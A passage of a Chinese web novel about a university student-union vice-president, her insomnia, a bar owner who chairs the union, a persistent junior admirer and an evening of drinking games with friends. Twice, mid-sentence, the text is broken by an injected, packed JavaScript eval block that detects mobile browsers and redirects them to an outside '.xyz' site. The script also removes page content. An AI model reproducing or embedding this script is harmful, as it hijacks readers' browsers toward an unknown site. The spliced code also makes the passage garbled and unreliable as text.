柯愫澄暂时无法确认,也没那么多功夫去想这件事,将其抛到脑后,等出租车在校门口停稳,她付完钱快步往操场赶。 此时距离下训还有不到一个小时的时间。 刚从侧门溜进操场,原本正在休息区跟其他几位助辅闲聊的同组男同学,余光瞟到柯愫澄过来了。 他麻溜凑过去:“一个好消息,一个坏消息,你想先听哪个?” 柯愫澄这会儿的注意力全集中在主席台上,面对男同学开启的这个话题,她提不起兴趣,随口:“坏消息说来听听。” 男同学嘿呦一声,这不正中下怀了嘛,他也不拐弯抹角,直说:“坏消息就是上午校领导过来每个连队查考勤了,然后查到你没在。” 原本吸着眼睛看主席台上都站着哪几位的柯愫澄,在听到这话后,瞥过来一眼:“记名字了吗?” 男同学笑嘻嘻,有些迫不及待的揭晓:“接下来说好消息,好消息就是贺教官帮你打了掩护,说你帮他办事去了,晚点就回来。” 听到这个好消息,柯愫澄倒也不算多么意外,毕竟贺融生从小到大帮忙打的掩护,两双手都数不过来。 四个朋友中属他最老实,常年帮另外三位打掩护,有时遇到太离谱的事儿,下课被叫去办公室,看到那仨人站成一排,他也能想到招保他们出来。 现在就更别说了,又不是逃训,问题很好解决。 这边话题刚结束,柯愫澄就看到不远处的连队前,贺融生下达原地坐下指令,随后朝着阴凉处走来。 两人视线交错,贺融生从靠墙的纸箱中拿了瓶矿泉水出来。 柯愫澄轻描淡写地说了句:“谢了。” “客气。”贺融生站在柯愫澄身侧,拧开瓶盖喝了半瓶水,视线停留在自己连队的同学们那:“所以你干什么去了?” “睡过了头,闹钟没给我叫醒。”她说得随意,好似不值一提。 似乎没料到会是这个原因,贺融生眉尾一扬:“那还真挺难得的。”说完这句,过了得有两三秒钟,他的视线才定格在柯愫澄脸上:“你昨晚没回家?” 柯愫澄的神情滞了一瞬,不确定是不是有人跟他告了密:“怎么这么问。” 贺融生边拧紧瓶盖,视线由她的脸向下,落在她身上:“你衣服没换,也挺稀奇的。”话音落,他似乎也不需要柯愫澄做出什么解释,人已经迈步往连队那走。 而柯愫澄依旧待在原地,面对这句意味不明的话,她大胆猜测,或许自己干的那些事儿,已经被贺融生察觉。 看到他回到连队,叫同学们起立继续训练,柯愫澄在想要不要继续瞒着那俩男的。不给她思考的机会,微信接连弹出好几条消息,解锁手机后发现,不知道什么时候被谢津洲拉进了学生会工作交流群中。 谢津洲在这时艾特全体成员:【迎新晚会的工作安排表靳主席已经发群里了,具体看群公告,有一切问题私下找我解决。】 这条消息下方紧接着跟了数不清多少个收到。 柯愫澄没凑这个热闹,刚要将手机锁屏,谢津洲往群里丢了好几份招新面试的学生资料,并艾特主席以及副主席。 谢津洲:【您二位也看看?】 柯愫澄没想着回,就当没看着这个消息,毕竟人靳主席都没在群里吱声,她就别上赶子发言了。 不知道过了多久,可能得有三四分钟,群里最新的一条消息还停留在谢津洲的那句:您二位也看看? 他倒也不觉得尴尬,其他几位学生会成员就坐不住了,不知道是想看热闹还是怎么着。 有个男同学将周肆决的面试资料引用了出来:【话说周学弟来咱学生会面试,是不是为了接近副主席啊。】 看到消息的内容,柯愫澄大概能猜到接下来会发生什么事儿,不在乎,也成为看戏的一员。 躲在屏幕后头的几位,见三位官最大的都没吱声,于是更加放肆起来。 【我看是吧哈哈哈,毕竟周学弟追求副主席这事儿,隔壁几所学校的人都有所耳闻。】 【副主席会觉得尴尬吗,毕竟当时拒绝人还挺不留情面的。】 【你懂什么呀,人大美女都这样,追求者无数,总不能各个都长篇大论的拒绝吧。】 【也是,没当过大美女,不知道什么感觉,羡慕啊。】 【别羡慕了,不是你的,求也求不来,咱还是快快乐乐吃瓜吧,毕竟按照面试时的表现,周学弟绝对能进咱学生会。】 话闸子一旦打开就无法快速止住,看着他们聊得越来越起劲,话题依旧围绕着周肆决等人展开,全然忘记这里是工作交流群,虽然三位官最大的没出现,但不代表他们不在。 就比如此时此刻,屏幕后头的柯愫澄,嘲讽的笑容挂在嘴边,打心底里搞不懂这些人,他们是觉得自己好欺负还是怎么着?不出来怼他们几句简直更加为所欲为,都快做人脸上叭叭了。 柯愫澄不是没脾气,单纯懒得跟这些人掰扯,正当她敲字准备反击时,一条略微有些突兀的消息随即弹出。 这人的头像是一只黑猫戴着蜘蛛侠面具,他没有备注昵称,微信名是:Si- Si-:【工作群,不是你们闲聊的地方。】 也就这么一句,群里再没有任何声音,半分钟过去,清一色的对不起主席。 谢津洲终于现身,他直接艾特全体 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14867539|159504||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 成员:【嘴了那么多句副主席,不道歉?】 看到这儿,柯愫澄没了兴致,刚好到了下训时间,她将手机锁屏揣进兜里,跟同组的男同学招呼了一声就先撤退了。 而周肆决面试通过的消息是隔天下午下训时,他跑来告诉柯愫澄的,这会儿柯愫澄正在忙着迎新晚会彩排的事情,她主要负责的是主持人的选拔,以及T台走秀节目。 周肆决不介意柯愫澄心不在焉,就搁旁边一个劲的叭叭:“姐姐我跟你说,我面试通过了,有个学长他告诉我,我是参加面试的选手中分数最高的。” 柯愫澄听着,反应不大,毕竟昨晚的挑人环节她有参与,同样的,靳宥司也参与了,只不过他俩话最少,给分给介意也简洁明了。 面对周肆决继续找话题聊,柯愫澄终于瞥了他一眼,语气淡淡说了句恭喜,又紧接着道:“既然进了学生会,叫跟着他们叫副主席吧。” 闻言,周肆决的目光渐渐暗淡下来,好半天才委屈叭叭的问:“那能叫学姐吗?感觉副主席太有距离感了。” 目的达成,柯愫澄很爽快的点头应了声:“你随意。” 得到许可,周肆决没再打扰。 人走后柯愫澄继续跟进各节目的彩排,中途靳宥司来过一次,跟他一道过来的还有几个校领导。 兴许是在稳固人设,他不再穿着一身黑,而是换了件白T,整个人都透着一股少年气。 跟校领导讲话时,他的眼睛清澈如溪水,微微上扬的唇角让人诧异。 他真有这么乖的时候啊,要不是这次亲眼瞧见,柯愫澄真就怀疑,他的好人人设是怎么做到不崩塌的。 如今一见,柯愫澄不得不佩服靳宥司,他还真有一套,虚假的男人。 柯愫澄没兴趣再关注,收回视线忙自己的。 不过十分钟,靳宥司和那几个校领导就撤了,而柯愫澄和学生会的其他成员待到了新生晚上下训才走。 回家的路上,全黑机车停在十字路口等红绿灯,手机接连响起消息提示音,是前几不久临时创的赌注群突然闹了起来,柯愫澄大致扫了一眼内容,无非就是问她进展如何。 她不知道怎么回,难不成说他俩已经睡了?可睡不等于追上了,索性当作没看着消息,将手机揣兜里。 刚好这时绿灯亮起,柯愫澄启动机车,过了这个十字路口在下一个路口时打转方向,往回开。 二十分钟后,机车停在MUNE幻师店门口。 这个点排队等叫号的客人依旧很多,柯愫澄在过来这边的路上就已经在网上拿了号,选的吧台的位置,等了不到十分钟就跟着服务员进来了。 在吧台坐下,这个位置刚好面对着舞台,此时舞台上坐着一位男歌手,边弹吉他边唱歌,唱得倒也不难听,就是觉得跟这儿的氛围有些不搭。 柯愫澄边翻看着手里的酒单,边闲聊似的问旁边站着的男店员:“你们这儿还缺不缺唱歌的?” 男店员原本还在走神,听到美女跟自己搭话,他按耐不住内心的激动,快速凑了过来:“你会唱?” 柯愫澄没回答他这个问题,跟调酒师要了杯金汤力:“我有朋友玩乐队的,可以搭线来这儿驻唱。” 男店员挠了挠头,有些拿不准:“好像是挺缺歌手的,但这个我也做不了主,你得问我们老板。” 柯愫澄翘着的腿有一搭没一搭的晃着,她撑着下巴,语调闲散:“你们老板人在哪?” 男店员耳朵有些烫,四处张望寻找老板的身影,却没找着,他有些着急:“他刚刚还在呢,估计处理什么事情去了,也有可能已经走了,要不你改天来这喝酒时碰碰运气?” 柯愫澄无所谓,唇边依旧挂着笑:“那我加你个联系方式吧,回头你们老板来了跟我说一声,我再过来,就不白跑。” 男店员巴不得,大美女主动要联系方式,虽然目的不是搞暧昧,但那又有什么关系呢。 他赶忙拿出手机,生怕晚了一秒钟,大美女就反悔了,又或者被别的什么人给盯上了,抢走这么个机会,那他晚上睡觉只怕都会被气醒。 刚将二维码找出来,手机都还没递出去,一只骨节分明的手将其拦下。 柯愫澄没看人,视线落在这只漂亮的手上,他的手指修长,指甲盖修剪得短圆干净,手背上青筋明显,既具有诱惑性。 男店员被挡了这么一下,抬眸看着人后,心跳止不住的加快,结结叭叭的叫了声老板。 靳宥司神情不明,沉低声音说:“去忙你的。” 男店员慌了,想解释清楚,他不是故意偷懒不工作,也不是他主动找客人要的联系方式。 可话都还没脱口,靳宥司偏头看着他:“我知道,我来谈。” 男店员一走,柯愫澄不看他的手了。 刚好调酒师将酒推到了面前,她拿起酒杯抿了口酒,入口时,二氧化碳的冲击感类似于跳跳糖,噼里啪啦在嘴里炸开,然后就是汤力水的微甜味,最后是青柠皮的清香和一丝丝苦味。 非常清爽上头的一款酒。 正准备喝第二口,柯愫澄余光瞟到,靳宥司从兜里掏出手机,解锁后将手机递了过来。 他声音又冷又硬:“扫码。” 6. 约 柯愫澄拿酒杯的手一顿,停在半空中。她缓缓转过头,目光落在递过来的手机屏幕上,二维码的左上方是头像及微信名。 黑猫戴蜘蛛侠面具的头像并不常见,柯愫澄猜测或许这只猫是靳宥司的宠物。 停留片刻,她抬眸,撞进靳宥司那双漆黑的眼睛里。 唇边的笑容不着痕迹的浮现,柯愫澄将酒杯放下,拿起桌边的手机。 随着叮的一声响,靳宥司将手机收回揣进兜里,没有一句话,转身就这么走了。 面对靳宥司的这一举动,柯愫澄并不意外,将好友验证消息甩过去,就看到他停在了不远处的一桌客人那,好像是朋友来的。 柯愫澄不感兴趣,移开视线看回到面前的这杯酒,喝完这杯,她又点了杯红宝石威士忌酸,边喝边处理手头上的琐碎工作。 原本当新生的助辅事情就够多了,现在还需要处理学生会的事,课多的时候,她从早到晚就没歇下来过,凌晨还得赶作业,可就算这样她的睡眠质量依旧差,入睡也依旧困难。 她挺想不明白的,最近一段时间睡得最安稳的一次,就是被靳宥司拐走那晚,难道他真的能治失眠不成? 正琢磨着,先前那位男店员偷摸着又折返了回来,看样子是还想交换联系方式。但人美女不开口,他也不好意思主动要,只能傻站在一旁等待时机。 柯愫澄门儿清,处理完手头上的工作,她将手机锁屏,反扣放在桌面上。喝掉杯中最后两口酒,再次找调酒师要了一杯店里的招牌,长岛冰茶。 等待调酒的间隙,柯愫澄将目光投向不远处的舞台,此时舞台上坐着一位男歌手,正在唱最近网络上很火的一首粤语歌。 柯愫澄挺喜欢这首歌的调调,随口问了句:“你们老板会唱歌吗?” 男店员知道柯愫澄是在跟自己说话,麻溜凑上来:“这个我也不太清楚,没听他唱过。” 就随便找的一话题,柯愫澄也没想着得到什么准确的答案,继续沉浸式喝酒听歌。 一旁的男店员明显还没聊够,目的没达成,他有些不甘心,绞尽脑汁好一阵:“话说,你是至今为止第一个被老板主动要联系方式的客人。”说着,他竖起大拇指,满眼的佩服。 闻言,柯愫澄眉梢微挑,突然来了点兴致,瞥向男店员,故作意外的说:“是吗,他很难搞定的?” 见这招可行,男店员心里乐呵坏了,疯狂点头:“那是肯定的,老板他超级无敌难搞定,高岭之花一般的存在。” 柯愫澄若有所思,刚好这时调酒师将长岛冰茶推到面前,她喝了一口,味道一般,没有没名字好喝。 她放下酒杯:“那你们老板会调酒吗?” “会!”男店员回答得迅速,但话音落,他的表情又显得十分怪异,像是不敢置信:“难不成你想要我们老板给你调一杯?那还是别想了,咱老板从来不给客人调酒,都是朋友来了,随便整一杯给人家喝。” 不知道是哪一句话戳中了柯愫澄的笑点,她没忍住直接笑出了声:“喝不死的?” 男店员有些遗憾的叹了口气:“我没喝过,不知道啥滋味。” 柯愫澄细细品味,唇角勾勒出一抹淡笑:“酸涩味吧,我猜是。” 两人又闲聊了几句,男店员便被叫去后边厨房干活儿。柯愫澄将手上这杯酒喝尽,拎起头盔撤了。 回到家洗完澡从浴室出来,床头柜上的手机响起一声提示音,是Si-通过了好友验证。 柯愫澄用毛巾擦拭着头发,在床边坐下等待对面发来消息。 停留片刻,聊天框内依旧没有传来任何一条消息,柯愫澄有些摸不着头脑。 不是加好友沟通驻唱的事吗?怎么通过了却不提这事呢。 等得不耐烦了,柯愫澄通过头像点进靳宥司的朋友圈,却发现对方设置了仅对朋友展示近半年的内容。 而这半年,靳宥司没发过一条朋友圈。 这样一来柯愫澄就很难从朋友圈动态下手了,只能另寻其他办法。 琢磨了好半天,睡前她在朋友圈分享了一首歌,草蜢的《半点心》。 先前在幻师喝酒时,男歌手唱的就是这首歌。后来歌手下了班,店里音响又循环播放了好几遍这歌。 柯愫澄很喜欢其中的一段歌词—— “你我之间总有一点爱吧,可以交给我吧,总算得恋爱吧,相爱少点也罢。” 分享完歌曲,柯愫澄吃了两颗褪黑素,美美入睡。 接下来的几天,柯愫澄没再去操场上陪着新生训练,教室礼堂两头跑。 大概也是这个原因,周肆决只要一下训就会来礼堂找活儿干,偶尔还买点零食饮料什么的带给各位学长学姐们。 他们是不跟学弟讲客气,有吃的就吃,柯愫澄却一次没接过。 本以为他该放弃这种追求方式,不曾想,连着五天他都订了下午茶。 外卖员将奶茶和甜品送到礼堂时,新生们还站在操场上训练。 柯愫澄叫小哥把东西放桌上,转头继续盯着排练。 随着总教官一声解散,五分钟不到,周肆决就赶到了礼堂。 此时柯愫澄正在跟人协商T台走秀这个节目。 周肆决没打扰,默默开始分发奶茶。 其中一位正拿着稿子做标记的学长,在接到奶茶后,脸上的笑容止不住:“哎呦喂,我们也有份啊,真是托了副主席的福。” 旁边捧着奶茶的学姐听到男同学这么说,立马附和道:“学弟你对副主席可太好了吧,羡慕啊。” 不等第三个人起哄,站在舞台台口幕布旁的柯愫澄,冷不丁甩过去个眼神。 她的目光冰冷,犹如刀子般,直直刺向他们。她明明一句话都没说,却让人汗毛立起,冷汗浸湿后背,头皮瞬间麻了半边。 刚刚故意起哄的一男一女此刻变得异常慌张,手忙脚乱不知道在忙些什么,结结叭叭叫对方快点说词,一句词读了好几遍才读通顺。 柯愫澄才懒得管他们,早就收回视线继续跟人协商节目。 一个多小时过去,见周肆决还没有要走的意思,明明只有十分钟就要集合开始训练了,他倒像个没事人一样,翘着腿坐在台下看学长学姐们排练话剧。 柯愫澄忙完手头上的活,招呼他一声:“你过来这边,有事说。” 周肆决还以为啥好事呢,可把他乐呵坏了,屁颠屁颠就跟上去。 两人来到礼堂一处角落。 柯愫澄抱着双臂,抬眸看着对面因军训晒得黑黢黢的小弟弟,直截了当的说:“你以后别订下午茶了,有那点钱不如花在自己身上。” 闻言,周肆决心凉半截,脱口而出:“我妈从小就教导我,我今后赚的钱就是给媳妇儿花的。”没有经过大脑思考说出来的话,往往流露着内心深处的真实想法。 是不假思索说的话,没有经过遮掩。 可这样的话过于越界,周肆决在意识到自己完蛋后,脸唰的一下,红了大半。 他低着头,搓着手,结结叭叭解释:“不是,我的意思是我身为学生会的一员,讨好一下学长学姐们很有必要,日后说不定还能给我升官呢。” 就这拙劣的演技,柯愫澄都用不着细品,直接pass掉。 刚准备说些什么,周肆决直直对上柯愫澄的视线:“学姐,我能加你个联系方式吗?” 像是鼓足了勇气,艰难的迈出了这一步,不管结果如何,他都不后悔,但此时此刻他的心脏早就已经跳到了嗓子眼。 等待的时间就像是按了0.5倍速,缓慢又难熬。 柯愫澄沉默了两秒,语气和态度依旧透着冰冷:“有问题找男助辅,学生会的事情在群里艾特靳主席或者谢秘书长,想必会更快速的解决。” 一瞬间,周肆决肉眼可见的泄了气,不自觉瘪起嘴,整个人都蔫巴了:“知道了学姐,你先忙,我去操场集合了。” 这天过后,周肆决真就没再订下午茶,连带着他也不再往礼堂跑。 柯愫澄倒觉得轻松许多,虽然免不了被旁人说心太狠,但喜不喜欢,对这个人感觉如何,也只有自己心里最清楚。 她不喜欢做吊人胃口的人,早点伤了人家的心,总归是要好些的。 解决完这个问题,柯愫澄也有了点闲心开始琢磨下注追人那事。 自打和靳宥司加上好友后,两人谁也没有主动发过消息,所有的交流都在学生会工作群里进行。 其实说实在的,柯愫澄挺搞不明白靳宥司的,好奇当时他为什么要递手机过来要求扫码,包括两人第一次产生交集那会儿,他又为什么会那么爽快的应下邀请。 柯愫澄等不及揭晓谜底,可两人之间的进展又过于缓慢,让她不得不在这时改变原本潦草的计划,组了个局,叫上三五好友去幻师喝酒。 接到邀请,朋友几个在餐厅门口碰面。 进店时,黎荔悄咪咪把柯愫澄拉到一旁,视线逼人,压着音量问:“什么意思。” 柯愫澄知道黎荔问的什么问题,无非就是为什么会选择来靳宥司的店里喝酒。 她说话的语气淡定从容:“什么什么意思。” 见柯愫澄还在这装呢,黎荔皱起眉:“你俩是不是有情况。” “没情况,单纯叫你们过来听歌喝酒。” 这话真没有假,柯愫澄现在和靳宥司的关系纯洁得不能再纯洁,私底下都没打过交道,群里交流也保持着一定的距离,不存在有情况一说。 相反学生会的成员们还觉得主席和副主席关系差劲呢,要不然为什么都不见两人和谐的说上几句话? 奈何黎荔完全不相信,轻哼一声:“你骗鬼呢。” 柯愫澄懒得解释,快几步来到预定的位置坐下:“爱信不信。” 不等黎荔再多问什么,柯愫澄所在乐队的键盘手壳少,环顾四周后将目光锁定在店里的舞台上。 此时女歌手正在唱一首抒情歌,调调黏腻暧昧。 壳少渐渐沉浸其中:“这店氛围真不错啊,咱要是有机会来这儿唱几首歌就好了。” 陈弗凡刚讲完电话回来,听到壳少这话,他特捧场:“你现在上去,我给你当气氛组。” “他们店正在招驻唱。”柯愫澄说着,手里还握着手机,正跟学生会的交流工作。 话音落,壳少看向柯愫澄,直觉告诉他,这事没这么简单:“你今天叫我们过来不会就是来谈合作的事情吧。” 柯愫澄将手机发扣放到桌面上:“差不多,你们要是喜欢这儿,我就去找他们老板谈。” 刚好这时,乐队的电吉他手兼主唱贝壳赶了过来。小姑娘妆都没画,穿着套休闲睡衣就出门了。 壳少麻溜招呼她坐下,又是倒水又是递纸巾的,就等她一句话。 贝壳接过壳少递来的纸巾,擦了额前的汗珠:“我没意见。” 见媳妇儿同意了,壳少笑着跟柯愫澄说:“我也没意见,那要不要跟阮东哥说一声。” 柯愫澄并没有马上回应壳少,目光不自觉落在贝壳的脸上,眼底情绪不明。 停留片刻,她别开眼,扯了下唇角,好笑似的开口:“你管他呢,就一经纪人,还没我随便找的活儿强,我们乐队都多久没登台唱歌了?” 壳少一想,也对哦:“这不最近因为贺融生忙着带新生军训嘛,我听阮东哥说,原本有个活动主办方邀请了咱们,但因为时间方面有所冲突,就给拒掉了。” 柯愫澄眉心一蹙,语气不太好:“别什么都赖贺融生。” 这个话题结束,坐了没一会儿,先前那位想交换联系方式但没成功的男店员拿着菜单走了过来。 在看到中心位置上坐着的人后,他笑嘻嘻招手跟柯愫澄打了个招呼:“姐姐你来啦。” 就这么个称呼,陈弗凡和壳少直接瞪大了双眼,完全没摸清楚头脑,不约而同的看向柯愫澄:“什么情况?” 柯愫澄先应了男店员一声,而后特随意的解释:“先前过来喝过几次酒,朋友来的。” 听到美女姐姐这样介绍和自己的关系,男店员乐呵坏了,他有些害羞的挠了挠后脑勺,唇角快咧到太阳穴。 反应过来几人是第一次来这里吃饭,男店员很热情的问:“需不需要我给你们推荐一下本店的招牌?” 黎荔点头:“行啊,你给推荐几道菜呗。” 男店员边指着菜单上的名称及图片,边介绍菜品的特色之处:“本店销量最好的属这道雪山巧克力熔岩蛋糕了,蛋糕体是山脉的形状,顶部的香草冰淇淋遇热慢慢融化,内里的巧克力酱浓厚醇香,整道甜品口感非常丰富,想必各位姐姐们会喜欢。” 这一声又一声的姐姐喊着,在座的俩男的不乐意了啊。 陈弗凡最先摆脸,忍不住阴阳怪气 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14867540|159504||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' :“兄弟你嘴可真甜啊,有对象了吗?要不要哥给你介绍一个?” 男店员不明所以,听到说要给自己介绍女朋友,他有些不好意思的看向柯愫澄。 柯愫澄还以为男店员是在寻求帮助,理所应当的拦了下:“你差不多得了,看点些什么,你不饿我饿。” 被叫停,陈弗凡心里不是滋味,将菜单推给桌对面的壳少,让他点。 点完餐没一会儿菜就全部上齐了,几人边吃边聊。吃完饭,服务员把餐盘收走后,他们又点了些酒。 刚好这会儿过了晚八点,店里灯光逐渐变得昏暗,服务员给每一桌都放了盏氛围小夜灯和几个骰盒。 壳少拿着骰盒,贴桌面左右摇晃:“咱玩点什么啊。” 女孩儿们正聊着八卦,黎荔最喜欢边喝酒边跟朋友说最近吃来的瓜,才不理俩男的。 见壳少被无视,陈弗凡也拿了个骰盒:“我陪你玩。” 一张桌子,两拨人,各玩各的,互不干扰。 黎荔边讲,情绪不由自主的激动起来,说得手舞足蹈。贝壳就跟捧哏似的,甭管黎荔说什么,她都能接一两句。 反观一旁的柯愫澄,虽然一直有在听瓜,但她的视线却落在舞台上。 喝完男店员推荐的新品酒,唇齿间的辛辣让柯愫澄不自觉想起没名字。 那酒独特的魅力及口感,余味悠长,不甜腻,很是上头,只可惜店里的酒单上并没有这款酒,要不然柯愫澄真想每天都来这喝一杯。 想着想着,她的视线由舞台移至不远处的吧台。 就看到靳宥司不知道什么时候来到了店里,正站在吧台跟调酒师说话。 不同于学校时那般目光清澈,端着几分好学生的架子,如今的他姿态散漫的抄着兜,曲着条腿,倚在吧台旁。跟人说话时,透着几分冷峻的痞劲。 让人无法忽视他的存在。 柯愫澄眼眸一闪,随即唇角上扬,拿起手机给Si-发去消息:【我想喝没名字。】 柯愫澄在发消息之前就料到靳宥司不会回,她的目的也并不是单纯的想喝那杯酒,而是告诉他,自己在店里。 只是令她没想到的是,不到十分钟,没名字就送了过来。而送酒的人不是别人,正是幻师的老板,靳宥司。 一时间,陈弗凡和黎荔呆愣在原地,一个游戏不玩了,一个停嘴八卦不讲了,互递眼神。 正当靳宥司转身准备离开时,黎荔突然叫住了他:“靳老板,坐下一块儿玩呗,人多热闹。” 被叫住,靳宥司脸上没有任何表情,只扫了眼在座的,随后慢悠悠地说:“行啊。” 柯愫澄下意识拧眉,真摸不清头脑了。 他居然同意了?在座的谁跟他熟?说玩就玩未免太自来熟了点。 就在靳宥司找人加椅子的间隙,桌子底下,黎荔牵住柯愫澄的手,一顿乱捏,什么意思不用多说。 柯愫澄给了个眼神,无情地打掉黎荔的手,意思让她冷静点。 刚好男店员拿着椅子过来了,待靳宥司坐下,陈弗凡问:“靳主席,你想玩什么游戏啊?” 靳宥司翘起一条腿,坐姿极为闲散,说话的调调亦是如此:“都行,看你们。” 这好啊,陈弗凡笑得贼:“那咱们玩我有你没有呗。” 黎荔知道陈弗凡什么心思,无非就是想套话,那她可来劲了,什么瓜都没这个有意思。 看到靳宥司点头表示没问题,陈弗凡第一个说自己做过的事情:“我跟异性亲过嘴。” 话音刚落,柯愫澄和靳宥司同时拿起一杯酒,仰头一饮而尽。 这一举动让在座的都兴奋了起来,其中黎荔的反应最为强烈。 她凑到柯愫澄耳边问:“你俩没接吻?” “没。” 黎荔佩服:“牛逼,做.爱不接吻,前戏你俩咋哪个的?” 柯愫澄并没有回答这个问题,催促道:“轮到你了。” 黎荔脱口而出:“我有对象。” 紧接着便看到柯愫澄和靳宥司又同时拿起了酒杯,一句多余的话都没有,将酒灌入口中。 壳少算是摸清楚这游戏的深层规则,不怀好意的说:“我有喜欢的人。” 吗的。 第三杯酒下肚。 不等贝壳开口说话,柯愫澄忍不住吐槽:“合着你们故意灌我酒呢,这一个个都说的什么。” 黎荔憋着笑,一本正经的说:“才没有故意呢,靳主席不每轮都在陪你喝嘛。” 柯愫澄无言以对,就看到不远处走过来俩男的和仨美女,他们特热情的跟靳宥司打招呼。 “靳老板好久不见啊。” “过来陪我们喝喝酒呗。” “靳老板在忙不?不忙跟我们玩几把游戏再回来也成啊。” “……”说着,他们就要上手拉靳宥司去他们桌。 柯愫澄细细打量了几人一番,视线最终落在靳宥司的脸上。也是这时,手机屏幕亮起,响起一阵提示音。 柯愫澄点进Q.Q,看完消息后,她直接站起了身:“我先撤了。”说着她就拿起放在沙发上的包包,手机往里头塞。 陈弗凡玩得正起劲,怎么一个两个都要走,他皱眉问:“哪去啊?” 柯愫澄回得随意:“周肆决约我散步。” 一听到这个消息,耳边顿时响起一阵阵起哄声,简直闹翻了天,甚至把隔壁几桌客人的注意力都吸引了过去。 黎荔疑惑道:“你俩加上好友了?” 柯愫澄全程没看靳宥司,将包包跨到肩上。 壳少等不及听柯愫澄的回答,呦呦两声:“这么晚了还约着出去散步啊,别太暧昧了。” 柯愫澄轻描淡写:“反正也睡不着,散散步,说不定能睡个好觉。” 闻言,黎荔边给柯愫澄让道,边问:“你失眠又严重了?之前不听你说突然好了吗?” 柯愫澄唇角的笑不着痕迹的浮现,她语气一如既往:“解决办法出了点状况。”说完这句,她跟几人招呼了声:“走了,你们慢玩。” 离开座位,柯愫澄没急着走,先去了趟洗手间。 从洗手间出来后沿着走廊一直往前走,快到餐厅侧门口时,她突然停住脚步,转过身,微微仰头,撞进靳宥司墨色的眼眸里。 她也不拐弯抹角,一字一句道:“我想跟你睡一觉。” 7. 恶劣 话音落,靳宥司身子僵了一瞬。 不知道是觉得冒昧还是怎么着,柯愫澄能很明显的感觉到,靳宥司若即若离的气息,以及他眉目间的淡漠。 可他跟出来除了约,还能有别的什么吗?两人第一次打交道不就是在酒店的床上吗? 柯愫澄不过是在赌,赌他会跟出来,至于他跟出来后会以什么话术拦下自己,这就不清楚了,倒也不好奇。 两人的眼神交织在一起,这一刻柯愫澄又有些看不太懂靳宥司脸上的表情,莫非是诧异?没想到自己会在这时突然转身,还说出了睡一觉这样的话? 毕竟在此之前,两人并没有其他的亲密交流,也就做过一次,睡过一晚,可正是因为后来睡的那一晚太过于安稳,才有了柯愫澄这一次的试探。 说白了,她就是想搞清楚,靳宥司是不是真的可以治疗自己的失眠。 如果这句话让对方浮想联翩,那很抱歉,这不过只是一次单纯的身体交流罢了。 也就在这时,柯愫澄突然向前迈了一步,靠近靳宥司。 昏暗的灯光下,这样近在咫尺的距离,让氛围变得越发暧昧。 柯愫澄闻到靳宥司身上特有的檀木香,混杂着薄荷味的果香。 所以刚刚在洗手间外等待的那么几分钟,他是抽了根烟吗?这尼古丁的味道让柯愫澄讨厌不起来,反而觉得上头。 靳宥司似乎知道些什么,眉梢微挑,唇角勾勒出一抹淡笑。 他明明什么都没说,柯愫澄却能很明显的感受到,一股莫名的潮热感逐渐蔓延至全身。 又或者换一种说法,说得再直白一些,是一种酥酥麻麻的爽感。 顶着张奶狗脸的帅哥,姿态闲散的倚靠在墙边,他脸上挂着的笑容拽又吊儿郎当,这般反差感简直就是兴奋.剂。 几度令柯愫澄失神沉迷。 下意识就想到了前不久玩游戏时,两人因没有和异性接过吻而被罚酒,但其实柯愫澄并不相信靳宥司,他就是个实打实的骗子,再说了,他和在座的都不熟,真的会如实玩这一场游戏吗? 她还没尝过他嘴唇的味道,也就无法判断他的初吻是否真的还在。 毕竟靳宥司最擅长的就是伪装自己,不管是撒谎还是实话实说,总有一半数的人不相信。柯愫澄就是其中一个。 还记得当初第一次打上交道那会儿,柯愫澄提出了三个要求,一不能摘面具,二不能尝对方的东西,三不能接吻。 柯愫澄没有这方面的洁癖,但前提是,对方得是自己的伴侣,而不是在清吧找来的,特随便的男人,就算他长得帅,那也没用。 但不知道为什么,柯愫澄的所有注意力却在这一刻,被靳宥司的嘴唇所吸引。 不经疑惑,男人的唇色都如此鲜艳吗?看着十分柔软,具有极强的诱惑力。 而他牵起的唇角,让人捉摸不透。 柯愫澄忍不住催促:“睡不睡,一句话。” 靳宥司单手把玩着打火机,面上依旧漫不经心:“又来这招?说说看,对几个男人用过?” 柯愫澄听不懂他说的这话,也没了耐心,拧眉:“那你上不上钩。” 话音落,靳宥司裤兜里的手机响起铃声,他掏出来,接通了电话。 由于两人的距离过近,电话那头男人的说话声,柯愫澄听得一清二楚。 他说:“靳哥,车给你叫来了,停在店门口。” 也就这么一句,柯愫澄蓦地抬起眼睑,再次撞进靳宥司深邃漆黑的眼眸中。 她的脸上浮现出一抹意味深长的笑意。 也就是说,在还没有跟靳宥司说想睡一觉之前,人家就已经叫好去酒店的车了。也难怪他会一直在卫生间外等着,如果自己不主动提出,他就会采取某种措施。 那会是什么样的开场白呢。 柯愫澄不由得有些好奇,对他这个人,对他的一言一行,以及他内心深处的真实想法,都产生了兴趣。 等到电话挂断,手机重新揣回兜里。 柯愫澄也不拐弯抹角,直接问:“靳老板跟着我出来,是想做什么?” 靳宥司语调懒洋洋:“想问你吃不吃蛋糕。” 不知道从什么时候开始,只要提到吃蛋糕,柯愫澄就会自动联想到接下来要去的场所和要做的事儿。 虽然两人目前为止,并没有提出想发展成为固定火包友,毕竟选择和被选择,都需要更深度的交流过后再做出决定。 